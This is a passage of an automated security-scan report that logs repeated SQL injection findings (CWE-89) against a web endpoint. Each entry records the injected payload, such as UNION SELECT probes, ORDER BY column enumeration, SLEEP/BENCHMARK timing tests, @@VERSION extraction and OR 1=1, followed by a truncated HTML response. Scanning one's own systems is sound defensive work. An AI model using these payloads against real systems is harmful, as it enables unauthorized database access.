9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1804
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1805
Scan SQL InjectionSeverity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1806
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),5,6,7
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1807
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# + SLEEP(10) + '
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1808
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1809
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A'))
,4
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#CWE-ID CWE-89
Issue Number #1810
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1811
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1812
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# OR 1=1--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1813
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1814
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1815
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 19#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1816
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 26--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1817
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),"'
3
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1818Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 5#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
